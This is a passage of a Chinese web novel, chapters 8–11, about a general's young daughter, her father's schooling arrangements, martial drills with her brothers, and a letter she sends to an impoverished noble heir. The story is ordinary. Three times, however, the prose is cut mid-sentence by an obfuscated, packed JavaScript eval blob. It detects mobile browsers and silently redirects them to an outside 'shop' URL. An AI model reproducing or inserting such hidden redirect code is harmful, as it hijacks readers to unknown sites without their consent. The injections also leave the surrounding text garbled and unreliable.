明明一身娇贵气,偏要往这泥地里跑,那袍子沾了土,手上蹭了泥,却还扬着脸冲他笑,像是什么了不得的事。 明明什么都做不来,还偏要跟着他,跟着他做什么呢? 他垂下眼。 图他什么呢。 他不过是个连月钱都没几个的穷世子,在学堂里独来独往惯了,身边从没黏过这样的人,赶也赶不走,冷着脸也不怕,像是认准了他似的。 可他一向没耐心陪这些小少爷玩这种把戏,昨日帮了他,回去就后悔了,该保持距离才对,越远越好。 于是他没吭声,低下头继续锄草,锄头落下去,翻起一撮泥土,一下又一下,像是眼前根本没人。 关昭昭又往前跟了两步,“江兄,你就让我帮帮你……” 她声音又软又急,带着点讨好,“我保证不捣乱,真的!” 他没抬头,可那把锄头落下去的时候,分明比方才重了几分。 关昭昭见他不理会自己,下意识伸手就去扯他的衣角,扯完了才想起来自己手上沾着泥,赶紧又松开,却还是在他衣角上留下两个小小的泥指印。 她有点心虚地看了一眼那印子,又抬起头来,努力让自己的眼神显得真诚,“我真的会锄草!而且、而且我力气可大了,不信你让我试试!” 就这么缠了一炷香的功夫,江沉璧终于抿了抿嘴,停下了手里的锄头,像是在心里掂量什么。 过了一会儿,他把锄头递了过来,“只准在边上。” 江沉璧话音淡淡,面上瞧不出什么,心里却想着让他试试,做不好便直接开口打发走,这般娇养的小少爷,十指不沾阳春水的,能做什么? 这般想着,他往旁边让了让,目光落过去。 果然。 只见关昭昭兴致勃勃的接过锄头,两只手握着锄柄,学着他方才的样子举起,架势倒是摆得挺足,那小身板站得直直的,一脸认真。 可那锄头刚举到半空,就听“哎呀”一声,又直直砸了下来! 江沉璧嘴角微微一抽,彻底没了陪着演戏的耐心,逐客令已经到了嘴边,只等着那小少爷开口喊疼,他就顺水推舟的赶他回去。 可关昭昭却没喊。 她只是瘪起了嘴,把一声痛哼生生压回了喉咙里,哽咽声细细弱弱的,像极了小兽受伤了又不敢出声,脚尖明明疼得发颤,却还悬在半空不敢落地,惹得身子一晃一晃的。 然后她抬起头,那亮晶晶的眼睛此刻已然红透了,湿漉漉的,睫毛上还挂着几滴泪珠,一颤一颤,像是想落又不敢落。 “江、江兄……” 她就用那样一双眼睛望向他,“我是不是……特别没用?” 江沉璧愣了一瞬。 倏地慌乱地别开了眼。 8. 第 8 章 三日之期,倏忽而过。 关昭昭一大早就醒了。 她睁开眼睛,外头的天刚蒙蒙亮,窗户纸上透进来一点点光,她盯着帐顶发了会儿呆,心里想着昨晚娘亲跟她说的话:“昭昭啊,你爹爹只跟你陈叔叔约了三日,三日一到,你满仓哥哥就要回崇文馆上学去。” 从今天起,爹爹说没人陪着,就不许她去上学了。她想起昨日晚饭时爹爹那副没得商量的样子,心里就有点慌。 虽然娘亲让她放心,说会说服爹爹,可她却发现,娘亲每次拍胸脯,最后都被爹爹三言两语绕进去,说着说着就变成“老爷说得也有道理”了。 关昭昭歪着脑袋想了想,眼珠子骨碌碌一转。 她还要自己想办法。 …… 前厅里,兵部侍郎陈守田一大早就到了。 他今日特意换了身簇新的袍子,端坐在太师椅上,手里捧着茶盏,慢悠悠地吹着浮沫。 那茶是关忠珍藏的大红袍,他呷了一口,咂摸咂摸滋味,又呷了一口。 关忠坐在主位上,两条腿岔开,大手搭在膝盖上,一副主人家的派头。 “这几日多亏你们照顾那臭小子,”陈守田放下茶盏,抬眼看过来,“没给你们添麻烦吧?” “哪有什么麻烦!” 关忠大手一挥,嗓门亮得能掀屋顶,“俩孩子处得好着呢!你是没看见,昭昭昨儿回来那嘴就没停过,满仓哥哥长、满仓哥哥短,叽叽喳喳跟个小麻雀似的,说得我耳朵都起茧子了!” 陈守田听了,脸上笑开了花,嘴上却还要客气几句,“哎呀,你家昭昭那是懂事,我家这个能不给添乱就烧高香了。” 说着,他回头瞪了陈满仓一眼。 陈满仓站在他爹身后,胖脸不由抽了抽,只觉得心里冤得慌! 他可没觉得关昭昭有多念叨他,他又不傻!昨天在菜地里,那丫头的眼睛都快黏在江沉璧身上了,什么时候正眼看过他? 这时关忠又开口道:“咱俩多少年交情了,你还跟我整这些虚的?你家满仓我看着长大的,能添什么乱?” “行行行,你关大将军说什么都对!” “那可不!”关忠一拍大腿,也笑起来,“再说了,俩孩子作伴,比什么都强,我家昭昭平时一个人闷着,这回可算找到伴儿了,还是多亏你家满仓啊!” 陈守田笑得更厉害了,茶盏在手里晃悠,差点洒出来,“得,听你这么一说,我倒想把这小子多搁几天了。” “搁!”关忠大手一挥,豪气冲天,“尽管搁!搁多久都行!反正我府上不缺他这口吃的,不就是多双筷子的事!” 陈守田哈哈大笑,“那成,回头我让人把他铺盖卷送来!” 陈满仓站在后头,脸上的肉抽得更厉害了。还搁??他忍不住偷偷瞄了一眼门口,恨不得现在就拔腿跑掉! 大家正说着,外头忽然传来一阵脚步声。 关昭昭一阵风似的跑了进来,她先规规矩矩给陈守田行了个礼,喊了声“陈伯伯好”,然后一转脸,直直地看向她爹。 “爹爹,我想好了。” 关忠一愣,“想好什么?” 关昭昭站得笔直,小手背在身后,努力让自己看起来像个大人,可她那小身板儿,再怎么挺也就那么高,“我自己去,不用人陪。满仓哥哥要回家,那是他的事儿,可我自己也能去呀。” 关忠张嘴就是一句,“胡闹……” 关昭昭根本不给他说完的机会,这话早就在心里准备好了,“而且,爹爹不是说过吗?将门之女要胆大心细!” 她说着,往前迈了一步,仰起小脸理直气壮地看着她爹,“若是我连个学堂都不敢自己去,那岂不是胆小如鼠,成了缩头乌龟?” 关忠被噎得一愣一愣的。 陈守田端着茶盏,嘴角抽了抽,那含在嘴里的茶愣是半天没敢咽下去,就怕一咽下去,笑就憋不住了。 而陈满仓站在他爹身后,眼珠子都快瞪出眼眶了。 他偷偷瞄了一眼关忠那张憋得发红的老脸,又看了一眼关昭昭那副理直气壮的小模样,心里默默给她竖了个大拇指。 昭昭妹妹,胆子是真的大啊。 这么想着,他却悄悄往他爹身后又缩了缩,把自己藏得更严实了点。 “再说了,”关昭昭小手一挥,那架势跟她爹在演武场点兵似的,“那书院里都是读书人,斯文人,又不是土匪窝子,能有什么事儿?就算真有人欺负我……” 说着,她把袖子往上撸了撸,露出一截白白细细的小胳膊,“我、我就跟他们拼了!” 关忠眼皮直跳。 陈守田终于没忍住,“噗”地笑出了声。 “行了行了!”关忠一巴掌拍在桌子上,把茶盏都震得跳起来,“你个小丫头片子,跟谁拼?你那小胳膊小腿的,还不够人一拳头的!” 关昭昭不服气了,她挺起小胸脯,把下巴一扬,理直气壮地反驳,“那爹爹教我呀!爹爹不是总说,家里那些十八般兵器没人继承吗?” “我愿意学!我只要爹爹教我,跟去学堂念书两不耽误!” 陈守田在一旁看热闹,笑得胡子一抖一抖的。 关忠挠了挠后脑勺,忽然想起夫人嘱咐,一屁股坐回椅子上,看向陈守田,“正好,还有事想跟你商量商量。” 陈守田挑了挑眉,“哦?” 关忠瞥了一眼自家闺女,又瞥了一眼陈满仓,径直开口,“你家那小子,在崇文馆念得咋样?” 陈满仓心里咯噔一下,忽然有种不详的预感。 陈守田叹了口气,摆摆手,“别提了,两年了,年年吊车尾,先生见了我都绕道走,昨日还来信说,再这么下去,不如趁早另寻出路。” 关忠猛地一拍大腿,“那敢情好!” 他身子往前一倾,嗓门却半点没压下去,“昨儿夜里,我跟你弟妹合计了一宿,依我看,让你家满仓在崇文馆再念半年,要是成绩还没起色,干脆也转去青松书院,正好给昭昭做个伴!俩孩子一起念书,一起上下学也有个照应,岂不两全其美?” 陈满仓眼睛一下子直了。 陈守田却愣了愣,眼里露出几分思忖。 却见关忠大手一挥,继续道:“青松书院虽说不如崇文馆金碧辉煌,但胜在清静,束脩也便宜,你家满仓换个地儿,没准儿就茅塞就顿开了……” 陈守田摸着下巴,越琢磨越觉得有道理,可还是有点犹豫,“可那青松书院怕是太简陋……” “简陋怕个屁!”关忠嗓门又亮起来,“孩子是去念书的,又不是去享福的!再简陋能简陋到哪儿去?有口饭吃,有张桌子写字,不就得了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341080|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈满仓终于找回了自己的声音,长大了嘴,“关伯伯!您、您怎么不问问我的意思?” 关忠闻言,蒲扇般的大手在桌上“啪”地一拍,铜铃般的眼珠子一瞪,“有你什么话讲?这是老子跟你爹商量的大事,干你屁事?一边儿待着去!” 陈满仓嘴又合上了,他连忙扭头看向关昭昭。 却见关昭昭正冲他笑,露出一排白白的小牙,那笑容,怎么看怎么像只小狐狸。 “那行!” 这时陈守田一巴掌拍在陈满仓后脑勺上,拍得他往前一个趔趄,“就这么定了!再给这臭小子半年机会,要是崇文馆那边还学不出个名堂来……” 他瞥了一眼自家儿子那副生无可恋的脸,牙一咬,“老子亲自给他打包,送来青松书院!” 陈满仓顿时眼睛直了,他特别想立马告诉他爹,您儿子在书院里已经成府上管家的儿子了,就这还敢让他半年后去丢人? 可看着爹那副“你敢说个不字试试”的表情,他还是把话咽了回去。这事关伯伯嫌丢人不主动说,昭昭妹妹更是一句不提,那他就更没胆子张口了。 想到这,陈满仓瞅了瞅自家老爹那张被蒙在鼓里,还美滋滋的脸,一时不知道该同情自己,还是同情他爹。 还要再等半年…… 关昭昭在一旁掰着手指头数着,半年是多久?好像是……好多好多天。 她小小地失望了一下,随即转念一想,只要能去上学,她就满足啦!半年就半年,她等就是了! 而且……她是真的喜欢去学堂,喜欢坐在窗边听先生讲课,窗外的风一吹,书页哗啦啦响,先生的声音飘进来,忽远忽近的,听着听着就走神了,走完神再回来,还能接上。 喜欢课间的时候,满仓哥哥在她旁边嘀嘀咕咕,说崇文馆的谁谁谁又挨骂了,说哪家的点心好吃……还喜欢新认识的朋友苏细!她想知道他今天有没有吃饱,有没有人又欺负他,有没有人跟他说话。 至于神仙哥哥……那日她笨手笨脚,锄头砸了自己的脚,疼得眼泪汪汪,是他背着她去看的大夫。好在那大夫说只是碰肿了指头,抹点药就消了,可惜那时她只顾着疼,忘记了跟他说谢谢…… 而此刻,关忠心里那叫一个得意! 昨日夜里,夫人跟他说了一箩筐好话,什么“闺女难得有个念想”,什么“你就依她这一回”,什么“让满仓陪着去,出不了事”。 他听得脑袋嗡嗡的,最后勉强点了头,可心里头总归是膈应。 凭啥?凭啥他闺女非得去那破书院?他还要当那个什么破管家? 可一想起昭昭那副蔫头耷脑,要哭不哭的模样,他又狠不下心,想来想去,终于让他琢磨出这么个两全其美的好法子! 他摸着下巴,越想越觉得自己这主意妙,半年,多好的半年啊!变数可太多了! 万一陈满仓这半年突然开窍了呢?万一他成绩突飞猛进,考个崇文馆前几名呢?那他爹还舍得让他转学? 当然,最好还是……昭昭这半年把那个什么世子给忘了呢?小孩子心性,忘性大,过些日子遇上更好玩的事儿,谁还记得什么穷世子? 哈哈哈哈,要是那样,可就太好了! 关忠站在大门口,望着闺女蹦蹦跳跳跑远的背影,忍不住咧开嘴,嘿嘿笑了两声。 9. 第 9 章 天还没亮透,月亮还挂在西边天角,关昭昭就偷偷摸摸溜进了爹爹的书房。 书房很暗,只有窗纸透进来一点点灰蒙蒙的光,她踮着脚摸到书案边,发现够不着,又蹬蹬蹬跑出去搬了张凳子进来。 凳子有点沉,她抱得吭哧吭哧的,中途还撞了一下门框,把她疼得直抽气,又不敢出声。 好不容易把凳子架好,她爬上去,整个人趴在书案上,面前铺着一张纸,旁边放着笔墨。 关昭昭握着笔,皱着眉头,又跟这张纸较了半个时辰的劲。 该写些什么好呢? 她咬着笔头想了又想,纸上已经涂了好几个墨团团,最后总算憋出一段: —— 江兄 我爹不让我来上学啦,要等半年后才能来。 半年好久好久哦,你要是愿意,可以给我回信吗? 对了,我在进学斋还有个好朋友叫苏细,如果有人欺负他,你帮他一下好不好? 我会报答你,给你带好吃的,一定说话算话! 关昭 —— 关昭昭从头到尾读了一遍,觉得还行,就是那个“说话算话”写得有点歪,最后一个字还落了一滴墨,她鼓起腮帮子吹了吹,把墨吹干了,折好塞进信封里。 等同样写完给苏细的信,窗外的太阳已经老高了,阳光从窗户里涌进来,金灿灿地铺了一地。 糟了糟了! 关昭昭把信往怀里一揣就往外跑,她跑过长廊,跑过娘种的那片快开败的秋菊,路过假山的时候,一只正在打盹的橘猫被她吓得跳起来,冲她“喵呜”了一声。 她头也不回地喊了句“对不起”,人已经跑远了。 等跑到演武场边上,关昭昭两条腿已经有点发软,小胸脯一起一伏地喘着气。 场子中央,她爹早就到了。 此时关忠正背着手站在那儿,一身玄色劲装,腰杆挺得笔直,气势威武极了。 他面前正站着两个少年,是关昭昭的两个哥哥,关凌庆和关凌墨,今儿书院轮休,天还没亮就被亲爹从被窝里薅了出来,连早饭都没让吃。 两人此时正并排站着,身姿笔挺,跟两棵小青竹似的,只有额角微微冒着些汗。 这汗可不是站的,是吓的。 说起来,父子三人的关系以前还没这般僵硬。 起初,两兄弟在崇文馆学出一番成绩的时候,关忠还挺乐呵,谁不希望儿子成才?他出去喝酒,同僚夸一句“关兄好福气,两个公子都是读书的料”,他能乐得连干三大碗。 可后来,事情渐渐不对劲了。 随着时间的推移,两兄弟的成绩越发出类拔萃,直到包揽了崇文馆前三……连当朝帝师闻丞相之子都被他儿子压了一头! 这下可倒好,外头一下子传什么的都有! 什么“关将军准备弃武从文了”,什么“关家要出两代文魁了”,还有更离谱的,说他关忠最近开始读《论语》了,还让人给他搜罗《诗经》! 关忠听到这些传言的时候,脸都绿了。 他读《论语》?他连《论语》长啥样都不知道!他找《诗经》?他这辈子就背下了个“关关雎鸠”,还是因为跟自己姓沾边! 可谣言这东西,它不讲理啊,还越传越邪乎,传到后来,连军中老兄弟见了他都挤眉弄眼。 “老关,听说你儿子要考状元了?到时候别忘了弟兄们啊!” “您现在可是文化人了,跟咱们这些粗人不一样了!” “……啥时候给咱们讲讲《论语》呗?” 关忠当时气得差点把桌子掀了,打那以后,他瞧着他这两儿子,就越瞧越不顺眼,什么玩意儿!他关忠十五岁上阵杀敌,一刀一枪拼出来的前程,到老了让俩儿子给整成弃武从文了? 想想就他娘的来气! 所以关忠一逮到空,就非得把这两小子拎出来狠狠操练一番不可!非要练得他俩腿软手抖,回去拿笔都拿不稳!看他们还怎么念书!看他们还怎么考第一! 他倒要看看,是崇文馆的先生厉害,还是他关忠的手段厉害! 关昭昭跑进场的时候,就见她爹正用那双虎目瞪着两个哥哥,那眼神就跟看仇人似的。 场边那几棵老槐树被风一吹,哗啦啦响了几声,几片叶子打着旋儿落下来。 “站没站相!” 关忠一声吼,震得树上的麻雀都扑棱棱飞了起来,“挺直了!肩沉下去!腰给我绷住!” 两个哥哥赶紧把身子又直了直。 关昭昭忍不住想笑,他们明明站得挺直的呀,可爹爹不满意,那就只能再直一点。 “闺女来了!” 关忠一看见她,脸上立刻换了副表情,招手让她过去,“来来来,站这边。” 关昭昭小跑过去,在爹爹指定的位置站好,挺起小胸脯,一脸认真的问:“爹爹今天教什么?” “先站桩!”关忠大手一挥,“习武之人,根基要稳!先站一个时辰再说!” 一个时辰? 关昭昭眨眨眼,觉得应该不难,便立刻挺直了胸脯站好。 站着站着,她想起神仙哥哥跟人动手的模样,就那么几下,那几个欺负苏细的人就躺地上了,动作又快又利落,还没看清是怎么回事,人就已经倒了。 她要是也会武功就好了。 以后再有人欺负她,就不用等着别人来救,她自己就可以三下五除二把人撂倒,然后拍拍手,多威风! 还有…… 她低头看了看自己的手,白白嫩嫩的,肉乎乎的,可是这双手,连把锄头都握不稳,要是练了武功,力气就会变大吧? 变大之后,那把锄头就不会那么沉了,她就能稳稳地举起来,稳稳地落下去,不会再砸到自己脚上。 这样子下次就不会那么丢人了。 所以为了能习武,她跟爹爹磨了好久,吃饭的时候磨,喝茶的时候磨,爹爹躲去书房她追到书房,爹爹躲去演武场她追去演武场。 最后爹爹终于点了头,不过点头的时候,还不忘吓唬她: “学可以!可咱得把丑话说前头,我家昭昭要是练成个母老虎,将来嫁不出去,可别赖你爹!” 关昭昭才不管呢,弯着眼睛使劲点头。 一刻钟后。 她觉得自己错了,两条腿已经开始发酸,膝盖有点抖,腰也有点僵。 太阳慢慢升高了,晒得她后颈热乎乎的,场边的老槐树上,那些麻雀又飞回来了,落在枝头叽叽喳喳地叫,叫得直人心痒痒。 关昭昭忍不住偷偷瞄了一眼旁边的两个哥哥,他们倒还稳稳当当的,就是额角一直在冒汗,汗珠子顺着脸颊往下淌,亮晶晶的。 “爹,”关凌墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341081|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口了,声音温温润润的,“妹妹年纪小,是不是可以……” “可以什么可以!”关忠一瞪眼,“你妹妹都比你们强!你看看你们俩,站个桩都跟两根面条似的,软塌塌的,哪有半点将门之后的样子!” 关昭昭又悄悄偷看了眼两个哥哥,好像……比她站的稳当多了。 可爹爹说有,那就是有。 又过了一会儿。 太阳又升高了些,晒得人身上发烫,场边的槐树叶子一动不动,连风都没有了。 关凌庆的腿终于开始抖了,衣衫下摆跟着一颤一颤的,关凌墨比他好点,但额角的汗已经流到下巴了,啪嗒啪嗒往下滴,落在青砖上,洇出一小片深色的印子。 关忠背着手绕着他们转了一圈,忽然停在关凌庆面前,皱着眉头看了半天。 “你抖什么?” “孩儿……孩儿没抖。”关凌庆硬撑着说。 话音还没落,腿又抖了一下,比刚才还明显。 关忠脸都黑了,“这就是你们崇文馆教出来的好学生?念书念傻了!浑身没二两力气!还不如你们妹妹!” 关昭昭本来也快撑不住了,两条腿又酸又麻,跟不是自己的似的。 可一听这话,赶紧把腰又挺了挺,小脸绷得紧紧的,一脸“我还能站三天三夜”的表情。 旁边关凌庆看了她好几一眼,心说这小丫头片子,怎么还不倒?只要妹妹先撑不住,他不就能顺理成章的歇了? 于是他开始使坏。 “妹妹,”他压低声音,用只有两人能听见的气音说,“你腿抖了。” 关昭昭没理他。 “真的,抖得可厉害了,我都看见了。” 关昭昭还是没理他,腰杆反而更直了一点。 “哎哟,又抖了又抖了,你这样不行,一会儿该摔了……”话还没说完,他自己腿一软,突然一个趔趄跌倒在了地上。 关昭昭低头看着他,眨眨眼。 关凌庆坐在地上,汗水顺着脸颊往下淌,淌得跟小溪似的,嘴还咧着,保持着刚才使坏时的表情。 关忠的咆哮声震得树叶子都抖了三抖: “关凌庆!!!” 关凌墨在旁边抿着嘴,拼命忍住笑,肩膀一抖一抖的,抖得比刚才站桩时还厉害。 关昭昭也没忍住,“噗”地笑出了声,接着又连忙伸出小手捂住嘴,可已经晚了。 关忠的虎目已经扫了过来,“你笑什么?” “没、没笑!”关昭昭把嘴捂得紧紧的,眼睛弯成两道小月牙,亮晶晶的。 关忠瞪了她一眼,又瞪了一眼坐在地上的关凌庆,再瞪了一眼那个憋笑憋得肩膀直抖的关凌墨,最后重重叹了口气,“罢了罢了!都给我起来!吃饭去!” 关昭昭如蒙大赦,赶紧收了桩,两条腿又酸又麻,走路都有点晃。 她小跑着往场边去,跑了两步,又忽然想起什么,从怀里掏出封信,故意往关凌庆怀里一塞,“二哥,帮我把这个送出去!” 关凌庆一愣,纳闷道:“送给谁?” 关昭昭这时已经跑远了,脆生生的嗓音裹在风里,一吹就飘了过来: “平南世子,江沉璧!” 关凌庆低头看了看手里的信,又看了看他爹那张黑得像锅底似的脸。 忽然觉得,这顿饭怕是吃不踏实了。 10. 第 10 章 平南侯府坐落在京城东市的梧桐巷,从外头看倒是气派得很,朱红大门,锃亮铜钉,门前两座石狮子威风凛凛的蹲着,不知底细的人从这路过,少不得要多瞧两眼,心道一声:好气派的府邸。 可若真走近了瞧,便能看到,那朱红大门上的漆斑斑驳驳,好些地方已剥落了,露出底下灰扑扑的木头,跨进门槛,里面的光景就更不入眼了。 正院倒还收拾得齐整,可往偏院走上几步,便能看见廊柱上的漆裂成一道道细纹,窗户纸破了便用旧布条胡乱糊着。院里铺的青砖碎了好几块,也没人换,就那么豁着嘴,下雨天积一洼水,得踮着脚跳过去。 最离谱的是,东边的半扇府邸直接落了把大锁!里面原也是好端端的院落,亭台楼阁一应俱全。 可侯爷说,横竖住不着,开着还得派人洒扫,太费钱!索性锁了,眼不见为净。 于是堂堂侯府夫人跟前也就一个丫鬟伺候着,连侯爷自己都只有一有老仆,至于世子……长到十五岁,身边连个书童也无,出门自己牵马,回来还得自己喂,也就衣裳破了,能拿到正院来让娘帮着缝一缝。 这日沐休,江沉璧照例来正院陪母亲用饭。 说是正院,也不过是这府里唯一像样些的地方。 矮几上摆着两碗清粥,稀得能照见人影,一碟青菜,清汤寡水地卧在白瓷盘里,连点油星都瞧不见,另有一小碟酱菜黑乎乎的,似是腌了有些日子了。 窗外日光安静落进来,在旧木桌上铺了一小片,江沉璧执筷,默默用饭。 侯夫人看着他,唇边动了动,到底没说什么,只夹了一箸青菜,轻轻放进他碗里。 江沉璧顿了顿,低声道:“娘先用。” “我吃着呢。”侯夫人笑笑,目光却一直落在儿子脸上,半晌,轻声问:“今日沐休,可想出去走走?” “不必。”江沉璧答得简短。 侯夫人便不说话了。 她这儿子,从小便是如此,话少,心思沉,问什么都不肯多说。 可做娘的,哪能看不出来他今日用饭时走了几回神?那筷子悬在半空,怔怔地对着碗里发呆,一看便知心里有事。 只是他不说,她便不好追问。 一时屋内只剩下碗筷轻碰的细响。 过了片刻,侯夫人到底没忍住,斟酌着开口,“前些日子,我托人往几家相熟的府上递了话……” 江沉璧执筷的手微微一顿。 “也没什么,”侯夫人语气尽量放得轻缓,“不过是探探口风,你也到了该说亲的年纪,总该……” “娘。”江沉璧打断她,声音不重,却带着几分不易察觉的生涩,“这些事,不急。” 侯夫人张了张嘴,终是叹了口气。 这哪是急不急的事?分明是人家看不上,前前后后说了几桩,哪桩不是被人家客客气气地回了?面上说是“姑娘年纪还小,想多留两年”,可谁心里不明白,不过是嫌这侯府空有个门脸,内里寒酸罢了。 她想起前些日子与侯爷提起这事,那位只摆摆手,浑不在意地道:“黄了就黄了,那是她们没眼光,以我侯府的门第,还愁寻不着好亲?” 侯夫人当时气得半晌说不出话。 那是门第的事么?那分明是……她这个当娘的,眼睁睁看着儿子清粥小菜,孤零零一个人,心里跟刀剜似的。 可她能说什么?说咱家其实有钱?你爹在城外有上万亩皇田,每年收成都堆成山?说皇后娘娘赐的皇庄子,光佃户就有上百? 可有钱又如何! 只恨她当年瞎了眼,嫁了这么个冤家!一文钱恨不得一个铜板掰成八瓣花,掰完了还得拿放大镜照照,看能不能再分出半瓣来。堂堂侯府,外头人瞧着光鲜,内里寒酸成这样,她在那些夫人圈子里,都不好意思提自家的事。 全京城的人背地里怎么笑话他们母子的,当她不知道?她这个当娘的,看儿子可怜,也只能悄悄用自己的嫁妆贴补些。 可嫁妆再多,也不能明着来,今儿多添件衣裳,明儿多置办些笔墨,那冤家眼尖着呢,瞧见了少不得要念叨半天……什么“男儿家当吃苦”,什么“他爹从小就是这么过来的”,翻来覆去就那两句,跟念经似的。 十多年过去了,她懒得跟他吵。 只是每次看见儿子那清瘦的背影,一个人默默牵马出门,再默默回来,身边连个说话的人都没有……她这心里,就跟被什么揪着似的,一阵一阵地疼。 这孩子什么都好,就是性子那样沉,什么事都往肚子里咽,从不肯让她操心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341082|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“儿啊。”她忍不住唤了一声。 江沉璧抬眸。 侯夫人望着他,想说的话在喉间滚了几滚,到底只化成一句,“……粥凉了,快喝吧。” 江沉璧垂眸,“嗯”了一声。 屋内重归安静。 就在这时,外头忽然传来一阵急促的脚步声,打破了府里的寂静。 “世子!世子!” 是门房老吴头的声音,跑得上气不接下气,脚步声越来越近,转眼便到了门外。 侯夫人蹙了蹙眉,“什么事慌慌张张的?” 老吴头撩帘进来,手里举着个皱巴巴的信封,一脸稀奇道:“世子,有您的信!” 江沉璧怔住了。 侯夫人也愣了,目光落在那信封上,满是意外,“信?谁送来的?” “一个小孩儿,送到门房就跑啦!”老吴头把信递过来时还在纳闷道:“我问是哪家的,他不肯说,只说交给你家世子就知道了,然后一溜烟就没影了。” 江沉璧接过那封信,低头看去,只见信封上歪歪扭扭写着四个字: 江沉璧收。 侯夫人凑过来瞧了一眼,越发诧异了,“还真是给你的?我儿何时有了朋友?” 江沉璧没应声,只将信收入袖中。 “回头再看。”他说着,端起碗,把最后两口粥喝了。 回到自己院中,江沉璧在书案前坐下。 屋里安静,窗纸上透进来一点午后的光,他从袖中取出那封信,信封皱巴巴的,封口处糊的浆糊都没抹匀,还鼓出来了一小块。 他拆开封口,慢吞吞地把信纸抽出来。 江兄…… 那字迹横不平竖不直,有几个笔画糊成一团,看得出下笔的人写得认真,努力把每个字都撑得圆鼓鼓的。 看着看着,江沉璧忽然想起那日在菜地里,那双连锄头都握不稳的手,白白嫩嫩的,指节处一个茧子也无。 后来那双手扯过他衣角,在上头留下两个小小的泥指印。 江沉璧垂着眼,盯着那封信,睫毛轻轻颤了颤。 那双素来清冷得像浸过冰的眸子,却像是被什么点亮了一瞬,泛起一点极淡的光。 他把那张纸捧在手里,看完一遍,又看了一遍。 11. 第 11 章 崇文馆今日依旧很热闹。 这里是京城头一号的学堂,占地大得能跑马,屋舍一重接一重,飞檐斗拱,雕梁画栋,看着比好些王府还气派。 此时正值课间,各斋舍里嗡嗡嗡的人声混成一片,隔老远都能听见。 学堂分了好几等,每一等都有内舍和外舍。内舍的院子在东北角,清静雅致,廊下种着竹子,风一吹就沙沙响,那里的学生走路都带股傲气,说话声音压得低低的,生怕被人听去似的。 而外舍的院子嘛……就在这儿了。 院子里乱糟糟的,有人追着打闹,有人趴在栏杆上往下吐瓜子皮,还有人把书本卷成筒状对着廊下的鸟窝戳…… 陈满仓正坐在靠窗的位置,破天荒的居然没跟人玩。 他低着头,面前摊着一本书,两只小胖手捧着,看得相当认真……如果忽略他每隔一会儿就翻回同一页的话。 户部尚书家的小儿子钱宗宝溜进来的时候,看见这一幕,眼珠子差点瞪出来。 钱宗宝,人如其姓,家里穷得只剩下钱,他爹是户部尚书管着天下银钱,他自己则只顾着怎么把家里的钱花出去。人生得圆滚滚,和陈满仓俩小胖子往那儿一杵,跟一对儿福娃娃似的,遂在外舍并称二胖。 钱宗宝简直不敢相信,他那平日里一上课就犯困,下课就撒欢的好兄弟,居然在读书??? 他揉了揉眼睛,不信邪地再看一遍,没错,是陈满仓,在看书! 于是他三步并作两步蹿过去,一巴掌拍在陈满仓肩上,“听说新开的春来居的葫芦鸡比玉澜楼的还香,走!咱去品鉴品鉴!” 陈满仓被拍得一哆嗦,抬起脑袋的时候,眼神还带着点懵。 钱宗宝等着他像往常一样把书一扔,眼睛发亮地问“真的假的”,然后俩人勾肩搭背地溜出去。 可现实却是陈满仓看了他一眼,又低下头继续看书,“……你去吧,我不去。” 钱宗宝一听,立刻把陈满仓从上到下打量了一遍,然后把脸凑到陈满仓眼皮子底下,狐疑地问:“你是陈满仓吗?” 陈满仓瞥了他一眼,没说话。 “是陈满仓吧?”钱宗宝又凑近了一点,“不会是被人换了吧?还是请了三天假把脑子请坏了?” “你脑子才坏了!”这下陈满仓终于忍不住了,把书往桌上一拍。 钱宗宝也不恼,一屁股在他旁边坐下,胳膊肘捅捅他,挤眉弄眼,“说说,怎么回事?请假回来就这副德性,不知道的还以为你被关将军提去操练了三天呢。” 陈满仓张了张嘴,又闭上了。 他能怎么说?说自己在青松书院成了自家府上管家的儿子?说他答应了半年后要转去那个破书院?说他现在一想到这事就头疼得想撞墙? 不,不能说,绝对不能说!他一说,以钱宗宝那张嘴,不出半天全崇文馆都得知道! “没事。”陈满仓只能郁闷道。 钱宗宝眯起眼睛,也不追问,只是往陈满仓耳边一靠,压低了声音,神神秘秘地说:“听说那春来居还有唱曲儿的姑娘,嗓子可好听了。” 陈满仓耳朵动了动。 钱宗宝继续说:“还有葫芦鸡,外皮炸得脆脆的,一咬冒油,滋滋的。” 陈满仓咽了口唾沫。 钱宗宝再加一把火,“我还叫了赵锦宁他们几个,吃完了咱们去斗蛐蛐,听说他新得了一只‘金翅大将军’,厉害着呢!昨天连赢了五场!” 陈满仓的眼睛一下子开始发亮。 